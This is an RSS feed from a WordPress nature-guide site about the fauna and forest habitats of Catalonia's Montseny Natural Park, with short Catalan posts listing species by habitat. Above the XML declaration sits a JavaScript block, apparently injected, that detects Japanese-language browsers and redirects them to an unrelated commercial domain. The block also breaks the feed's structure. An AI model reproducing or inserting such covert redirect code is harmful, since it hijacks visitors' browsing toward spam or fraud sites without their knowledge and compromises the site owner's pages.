<SCRIPT LANGUAGE="JavaScript1.2">
<!--//
if (navigator.appName == 'Netscape')
var language = navigator.language;
else
var language = navigator.browserLanguage;
if (language.indexOf('ja') > -1) document.location.href = 'http://www.downjackatjp.com/rp/';
// End -->
</script>
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Guia del Montseny &#187; fauna</title>
	<atom:link href="http://www.guiadelmontseny.com/?cat=6&#038;feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://www.guiadelmontseny.com</link>
	<description>Otro sitio realizado con WordPress</description>
	<lastBuildDate>Fri, 27 Jul 2012 17:03:59 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>LA GENETA</title>
		<link>http://www.guiadelmontseny.com/?p=385</link>
		<comments>http://www.guiadelmontseny.com/?p=385#comments</comments>
		<pubDate>Tue, 24 Apr 2012 09:45:26 +0000</pubDate>
		<dc:creator>laura</dc:creator>
				<category><![CDATA[fauna]]></category>
		<category><![CDATA[Informació del Parc Natural del Montseny]]></category>

		<guid isPermaLink="false">http://www.guiadelmontseny.com/?p=385</guid>
		<description><![CDATA[Genetta genetta Família: vivèrrids La geneta, també anomenada gat mesquer és un carnívor petit molt comú en tot el parc Natural del Montseny. La seva presència es detecta sobretot en alzinars i suredes, entre els 400 i 600 metres, disminuint a mesura que es guanya altitud. Es creu que la geneta prové del continent Africà [...]]]></description>
			<content:encoded><![CDATA[<h3><em>Genetta genetta</em></h3>
<p>Família: vivèrrids</p>
<p><a href="http://www.guiadelmontseny.com/wp-content/uploads/2012/04/GENETTA-2.jpg"><img class="alignleft  wp-image-386" title="GENETTA (2)" src="http://www.guiadelmontseny.com/wp-content/uploads/2012/04/GENETTA-2-300x199.jpg" alt="" width="328" height="211" /></a>La geneta, també anomenada gat mesquer és un carnívor petit molt comú en tot el parc Natural del Montseny. La seva presència es detecta sobretot en alzinars i suredes, entre els 400 i 600 metres, disminuint a mesura que es guanya altitud.</p>
<p>Es creu que la geneta prové del continent Africà i que va ser introduïda per l’home.</p>
<p>La dieta de la geneta és molt variada: petits mamífers, aus, ofidis, amfibis, ortòpters, coleòpters, fruits, deixalles&#8230; segons un estudi de la Diputació al Montseny (http://diba.cat/parcsn/parcs/fitxers/pdf/p03d014.pdf)</p>
<p>És un animal solitari d’hàbits nocturns i caçador molt àgil i sigil·lós. També són capaces de grimpar arbres.</p>
<p>Es reprodueixen durant l’època de pluges.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.guiadelmontseny.com/?feed=rss2&#038;p=385</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MEDI ANTROPOGEN</title>
		<link>http://www.guiadelmontseny.com/?p=129</link>
		<comments>http://www.guiadelmontseny.com/?p=129#comments</comments>
		<pubDate>Thu, 05 Apr 2012 17:46:56 +0000</pubDate>
		<dc:creator>laura</dc:creator>
				<category><![CDATA[fauna]]></category>
		<category><![CDATA[Informació del Parc Natural del Montseny]]></category>

		<guid isPermaLink="false">http://www.guiadelmontseny.com/?p=129</guid>
		<description><![CDATA[&#160; Al Montseny també trobem fauna adaptada a viure ben a prop dels nuclis urbans, obtenint una font d’aliment constant gràcies ala producció de deixalles i a la manca de depredadors naturals. &#160; Mamífers: musaranylla, conill, eriçó clar Aus: mussol comú, oreneta,cotxa fumada, garsa, pinsà vulgar Amfibis i rèptils: dragó Invertebrats: argiope bruennichi, escorpí negre, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.guiadelmontseny.com/wp-content/uploads/2012/04/Garsa.jpg"><img class="alignright size-medium wp-image-193" title="Garsa" src="http://www.guiadelmontseny.com/wp-content/uploads/2012/04/Garsa-300x253.jpg" alt="" width="300" height="253" /></a></p>
<p>&nbsp;</p>
<p>Al Montseny també trobem fauna adaptada a viure ben a prop dels nuclis urbans, obtenint una font d’aliment constant gràcies ala producció de deixalles i a la manca de depredadors naturals.</p>
<p>&nbsp;</p>
<p>Mamífers: musaranylla, conill, eriçó clar</p>
<p>Aus: mussol comú, oreneta,cotxa fumada, garsa, pinsà vulgar</p>
<p>Amfibis i rèptils: dragó</p>
<p>Invertebrats: <em>argiope bruennichi, </em>escorpí negre, <em> papilio machaon, </em>poll de moro, <em>graphosoma lineatum, </em>cargol bover</p>
]]></content:encoded>
			<wfw:commentRss>http://www.guiadelmontseny.com/?feed=rss2&#038;p=129</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CINGLES, ESQUEIS,TARTERES I CAVITATS</title>
		<link>http://www.guiadelmontseny.com/?p=123</link>
		<comments>http://www.guiadelmontseny.com/?p=123#comments</comments>
		<pubDate>Thu, 05 Apr 2012 09:46:25 +0000</pubDate>
		<dc:creator>laura</dc:creator>
				<category><![CDATA[fauna]]></category>
		<category><![CDATA[Informació del Parc Natural del Montseny]]></category>

		<guid isPermaLink="false">http://www.guiadelmontseny.com/?p=123</guid>
		<description><![CDATA[Aquestes zones presenteu una geografia molt accidentada, amb forts pendents , són rocoses i amb poca cobertura vegetal. Sovint trobarem aus de rapinya i insectes. Mamífers: rata-pinyada de cova Aus: merla, roquera comuna, corb, cercavores,roquerol Amfibis i rèptils: sargantana de paret, llangardaix verd Invertebrats: uroctea durandi, Philaeus chrysops, Leptorchestes sp., meta menardi, camponotus cruentatus, scoliopteryx [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.guiadelmontseny.com/wp-content/uploads/2012/04/ratapinyada.jpg"><img class="alignright size-medium wp-image-195" title="ratapinyada" src="http://www.guiadelmontseny.com/wp-content/uploads/2012/04/ratapinyada-300x221.jpg" alt="" width="300" height="221" /></a>Aquestes zones presenteu una geografia molt accidentada, amb forts pendents , són rocoses i amb poca cobertura vegetal. Sovint trobarem aus de rapinya i insectes.</p>
<p>Mamífers: rata-pinyada de cova</p>
<p>Aus: merla, roquera comuna, corb, cercavores,roquerol</p>
<p>Amfibis i rèptils: sargantana de paret, llangardaix verd</p>
<p>Invertebrats: <em>uroctea durandi, Philaeus chrysops, Leptorchestes sp., meta menardi, camponotus cruentatus, scoliopteryx liberatix</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.guiadelmontseny.com/?feed=rss2&#038;p=123</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AMBIENTS AQUÀTICS</title>
		<link>http://www.guiadelmontseny.com/?p=120</link>
		<comments>http://www.guiadelmontseny.com/?p=120#comments</comments>
		<pubDate>Thu, 05 Apr 2012 09:41:58 +0000</pubDate>
		<dc:creator>laura</dc:creator>
				<category><![CDATA[fauna]]></category>
		<category><![CDATA[Informació del Parc Natural del Montseny]]></category>

		<guid isPermaLink="false">http://www.guiadelmontseny.com/?p=120</guid>
		<description><![CDATA[Els ambient aquàtics són idonis per al desenvolupament de molts espècies, ja que molts invertebrats presenten la fase larvari aquàtica. A més a més  les conques d’alguns rius  formen part de rutes migratòries d’aus. Mamífers: rata d’aigua, visó americà Aus: merla d’aigua, cuereta torrentera, blauet Amfibis i rèptils: granota comuna, granota roja, tritó pirinenc,tritó jaspiat, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.guiadelmontseny.com/wp-content/uploads/2012/04/trito-del-montseny.jpg"><img class="alignright size-full wp-image-198" title="trito del montseny" src="http://www.guiadelmontseny.com/wp-content/uploads/2012/04/trito-del-montseny.jpg" alt="" width="264" height="189" /></a>Els ambient aquàtics són idonis per al desenvolupament de molts espècies, ja que molts invertebrats presenten la fase larvari aquàtica. A més a més  les conques d’alguns rius  formen part de rutes migratòries d’aus.</p>
<p>Mamífers: rata d’aigua, visó americà</p>
<p>Aus: merla d’aigua, cuereta torrentera, blauet</p>
<p>Amfibis i rèptils: granota comuna, granota roja, tritó pirinenc,tritó jaspiat, <a title="tritó del montseny" href="http://www.guiadelmontseny.com/?p=6">tritó del Montseny</a>, tortuga d’aigua</p>
<p>Peixos: truita de riu, barb de muntanya</p>
<p>Invertebrats: <em>tetragnatha extensa</em>, <em>perla marginata</em>,llimac,espiadimonis,carnc de riu</p>
]]></content:encoded>
			<wfw:commentRss>http://www.guiadelmontseny.com/?feed=rss2&#038;p=120</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ALZINARS I SUREDES</title>
		<link>http://www.guiadelmontseny.com/?p=117</link>
		<comments>http://www.guiadelmontseny.com/?p=117#comments</comments>
		<pubDate>Thu, 05 Apr 2012 09:31:06 +0000</pubDate>
		<dc:creator>laura</dc:creator>
				<category><![CDATA[fauna]]></category>
		<category><![CDATA[Informació del Parc Natural del Montseny]]></category>

		<guid isPermaLink="false">http://www.guiadelmontseny.com/?p=117</guid>
		<description><![CDATA[Els alzinars i les suredes són els boscos que ocupen més extensió al Montseny. Donat que les fulles sempre atapeeixen les capçades, generen una ambient amb condicions més constants, que afavoreixen el sedentarisme d’algunes espècies d’aus i l’activitat hivernal d’alguns amfibis , rèptils i petits mamífers. Mamífers: geneta,rata cellarda,ratolí de bosc Aus: gamarús, merla, esparver,gaig [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.guiadelmontseny.com/wp-content/uploads/2012/04/GENETA.jpg"><img class="alignright size-full wp-image-200" title="GENETA" src="http://www.guiadelmontseny.com/wp-content/uploads/2012/04/GENETA.jpg" alt="" width="200" height="150" /></a>Els alzinars i les suredes són els boscos que ocupen més extensió al Montseny. Donat que les fulles sempre atapeeixen les capçades, generen una ambient amb condicions més constants, que afavoreixen el sedentarisme d’algunes espècies d’aus i l’activitat hivernal d’alguns amfibis , rèptils i petits mamífers.</p>
<p>Mamífers: <a title="la geneta al montseny" href="http://www.guiadelmontseny.com/?p=385">geneta</a>,rata cellarda,ratolí de bosc</p>
<p>Aus: gamarús, merla, esparver,gaig</p>
<p>Invertebrats: escanyapolls, <em>Hispa testacea</em>,<em> Thecla betuale</em>, <em>Pyronia tithonius</em>, <em>Hoplia coerulea</em>, Somereta, <em>Cercopis sanguinolenta</em>, Banyarriquer</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.guiadelmontseny.com/?feed=rss2&#038;p=117</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PINEDES I BROLLES</title>
		<link>http://www.guiadelmontseny.com/?p=114</link>
		<comments>http://www.guiadelmontseny.com/?p=114#comments</comments>
		<pubDate>Thu, 05 Apr 2012 09:11:08 +0000</pubDate>
		<dc:creator>laura</dc:creator>
				<category><![CDATA[fauna]]></category>
		<category><![CDATA[Informació del Parc Natural del Montseny]]></category>

		<guid isPermaLink="false">http://www.guiadelmontseny.com/?p=114</guid>
		<description><![CDATA[Els boscos de pins del Montseny són força clars i per tant presenten un dens sotabosc. A vegades l’estrat arbori i quasi o totalment nul i llavors trobem les formacions de brolla. Mamífers: esquirol i teixó Aus: tallarol, mallarenga i aligot comú Amfibis i rèptils: llangardaix comú, sargantana cuallarga Invertebrats: Processionària del pi, cigala, pararge [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.guiadelmontseny.com/wp-content/uploads/2012/04/esquirol-268x300.jpg"><img class="alignright size-full wp-image-202" title="esquirol-268x300" src="http://www.guiadelmontseny.com/wp-content/uploads/2012/04/esquirol-268x300.jpg" alt="" width="268" height="300" /></a></p>
<p>Els boscos de pins del Montseny són força clars i per tant presenten un dens sotabosc. A vegades l’estrat arbori i quasi o totalment nul i llavors trobem les formacions de brolla.</p>
<p>Mamífers: esquirol i teixó</p>
<p>Aus: tallarol, mallarenga i aligot comú</p>
<p>Amfibis i rèptils: llangardaix comú, sargantana cuallarga</p>
<p>Invertebrats: Processionària del pi, cigala, <em>pararge aegeria</em>, <em>limantria monacha</em></p>
<p><em>calosoma sycophanta, libelloides longicornis, empusa pennata</em>, formiga lleó</p>
]]></content:encoded>
			<wfw:commentRss>http://www.guiadelmontseny.com/?feed=rss2&#038;p=114</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FAGEDES, AVETOSES I ROUREDES</title>
		<link>http://www.guiadelmontseny.com/?p=110</link>
		<comments>http://www.guiadelmontseny.com/?p=110#comments</comments>
		<pubDate>Thu, 05 Apr 2012 09:03:28 +0000</pubDate>
		<dc:creator>laura</dc:creator>
				<category><![CDATA[fauna]]></category>
		<category><![CDATA[Informació del Parc Natural del Montseny]]></category>

		<guid isPermaLink="false">http://www.guiadelmontseny.com/?p=110</guid>
		<description><![CDATA[&#160; En aquests boscos trobem espècies típiques de regions centreeuropees, que habiten en el Montseny com a punt més al Sud de la seva distribució geogràfica. Mamífers: fagina,guineu,ratolí lleonat Aus: Astor, Pit roig, Tudó, Mussol banyut Amfibis i rèptils: gripau, salamandra, colobra d&#8217;esculapi Invertebrats: escarabat damat, rosalia alpina, strangalia maculata, insecte de bastó , polydesmus [...]]]></description>
			<content:encoded><![CDATA[<p>&nbsp;</p>
<p><a href="http://www.guiadelmontseny.com/wp-content/uploads/2012/04/pitroig.jpg"><img class="alignright size-full wp-image-205" title="pitroig" src="http://www.guiadelmontseny.com/wp-content/uploads/2012/04/pitroig.jpg" alt="" width="200" height="259" /></a>En aquests boscos trobem espècies típiques de regions centreeuropees, que habiten en el Montseny com a punt més al Sud de la seva distribució geogràfica.</p>
<p>Mamífers: fagina,guineu,ratolí lleonat</p>
<p>Aus: Astor, Pit roig, Tudó, Mussol banyut</p>
<p>Amfibis i rèptils: gripau, salamandra, colobra d&#8217;esculapi</p>
<p>Invertebrats: escarabat damat, rosalia alpina, <em>strangalia maculata</em>, insecte de bastó , <em>polydesmus coriaceus</em>,bernat pudent</p>
]]></content:encoded>
			<wfw:commentRss>http://www.guiadelmontseny.com/?feed=rss2&#038;p=110</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FAUNA EN PRATS I LANDES</title>
		<link>http://www.guiadelmontseny.com/?p=107</link>
		<comments>http://www.guiadelmontseny.com/?p=107#comments</comments>
		<pubDate>Thu, 05 Apr 2012 08:55:19 +0000</pubDate>
		<dc:creator>laura</dc:creator>
				<category><![CDATA[fauna]]></category>
		<category><![CDATA[Informació del Parc Natural del Montseny]]></category>

		<guid isPermaLink="false">http://www.guiadelmontseny.com/?p=107</guid>
		<description><![CDATA[En els prats i landes trobem una vegetació baixa i per tant molta exposició a la variabilitat ambiental, es per això que la fauna s&#8217;ha adaptat a superar les variacions de temperatura i a l&#8217;hivern es desplacen a altituds inferiors. Mamífers: llebre i porc senglar Aus: alosa vulgar, còlit, àliga marcenca,griva, perdiu roja Amfibis i [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.guiadelmontseny.com/wp-content/uploads/2012/04/porc-senglar.jpg"><img class="alignright size-medium wp-image-207" title="porc senglar" src="http://www.guiadelmontseny.com/wp-content/uploads/2012/04/porc-senglar-300x165.jpg" alt="" width="300" height="165" /></a>En els prats i landes trobem una vegetació baixa i per tant molta exposició a la variabilitat ambiental, es per això que la fauna s&#8217;ha adaptat a superar les variacions de temperatura i a l&#8217;hivern es desplacen a altituds inferiors.</p>
<p>Mamífers: llebre i porc senglar</p>
<p>Aus: alosa vulgar, còlit, àliga marcenca,griva, perdiu roja</p>
<p>Amfibis i rèptils: tòtil, escurçó, serp de vidre</p>
<p>Invertebrats: <em>Eresus niger, Issoria lathonia, Trichodes apiarius</em>, marieta</p>
]]></content:encoded>
			<wfw:commentRss>http://www.guiadelmontseny.com/?feed=rss2&#038;p=107</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ROUREDES</title>
		<link>http://www.guiadelmontseny.com/?p=95</link>
		<comments>http://www.guiadelmontseny.com/?p=95#comments</comments>
		<pubDate>Wed, 04 Apr 2012 09:35:42 +0000</pubDate>
		<dc:creator>laura</dc:creator>
				<category><![CDATA[fauna]]></category>
		<category><![CDATA[Informació del Parc Natural del Montseny]]></category>

		<guid isPermaLink="false">http://www.guiadelmontseny.com/?p=95</guid>
		<description><![CDATA[Bosc de zona mitja plujosa on predominen els roures. Donat que són arbres de fulla caducifòlia a la tardor es queden sense fulles i això permet que arribi llum al sotabosc. Així que són boscos amb molt sotabosc i per tant amb molta matèria orgànica al sòl. Aquests boscos han estat talats per la indústria [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.guiadelmontseny.com/wp-content/uploads/2012/04/roureda.jpg"><img class="alignright size-medium wp-image-209" title="roureda" src="http://www.guiadelmontseny.com/wp-content/uploads/2012/04/roureda-300x225.jpg" alt="" width="300" height="225" /></a>Bosc de zona mitja plujosa on predominen els roures. Donat que són arbres de fulla caducifòlia a la tardor es queden sense fulles i això permet que arribi llum al sotabosc. Així que són boscos amb molt sotabosc i per tant amb molta matèria orgànica al sòl.</p>
<p>Aquests boscos han estat talats per la indústria de fusta i substituïts per boscos de castanyers. Per això és un bosc en regressió.</p>
<p>Trobem típicament les següents espècies vegetals:</p>
<p>Arbres: roure de fulla gran, Roure martinenc i Castanyer</p>
<p>Arbusts: Avellaner, Ginebre, Aranyoner, Roldor</p>
<p>Plantes herbàcies i altres: <em>Campanula persicifolia, Geranium sanguineum,</em> Maduixera i Corniol</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.guiadelmontseny.com/?feed=rss2&#038;p=95</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FAGEDES I AVETOSES</title>
		<link>http://www.guiadelmontseny.com/?p=91</link>
		<comments>http://www.guiadelmontseny.com/?p=91#comments</comments>
		<pubDate>Wed, 04 Apr 2012 09:12:56 +0000</pubDate>
		<dc:creator>laura</dc:creator>
				<category><![CDATA[fauna]]></category>
		<category><![CDATA[Informació del Parc Natural del Montseny]]></category>

		<guid isPermaLink="false">http://www.guiadelmontseny.com/?p=91</guid>
		<description><![CDATA[Boscos on predomina el faig, arbre caducifoli típic de les zones humides de la vessant nord de les muntanes del Montseny entre els 900 i 1600 metres. Aquest genera un paisatge molt específic i únic per a l&#8217;existència d’espècies molt fràgils. En mig d&#8217;aquests boscos podem trobar un a altre comunitat, la d&#8217;avetoses. Aquesta està [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.guiadelmontseny.com/wp-content/uploads/2012/04/fageda21.jpg"><img class="alignright size-medium wp-image-211" title="fageda2" src="http://www.guiadelmontseny.com/wp-content/uploads/2012/04/fageda21-300x173.jpg" alt="" width="300" height="173" /></a>Boscos on predomina el faig, arbre caducifoli típic de les zones humides de la vessant nord de les muntanes del Montseny entre els 900 i 1600 metres. Aquest genera un paisatge molt específic i únic per a l&#8217;existència d’espècies molt fràgils.</p>
<p>En mig d&#8217;aquests boscos podem trobar un a altre comunitat, la d&#8217;avetoses. Aquesta està principalment formada per <em>avies alba </em>i forma boscos molt alts entre 10 i 80 metres d&#8217;alçada.</p>
<p>Arbres: <em>faig, boix grèvol, avet i moixera</em></p>
<p>Arbusts: <em>boix, lloreret</em></p>
<p>Plantes herbàcies i altres<em>: buixol, lliri de neu, curraia purpuri, marxívol, herba fetgera, miosotis, prímula, marcòlic, deschampsia flexuosa i</em> cep</p>
]]></content:encoded>
			<wfw:commentRss>http://www.guiadelmontseny.com/?feed=rss2&#038;p=91</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
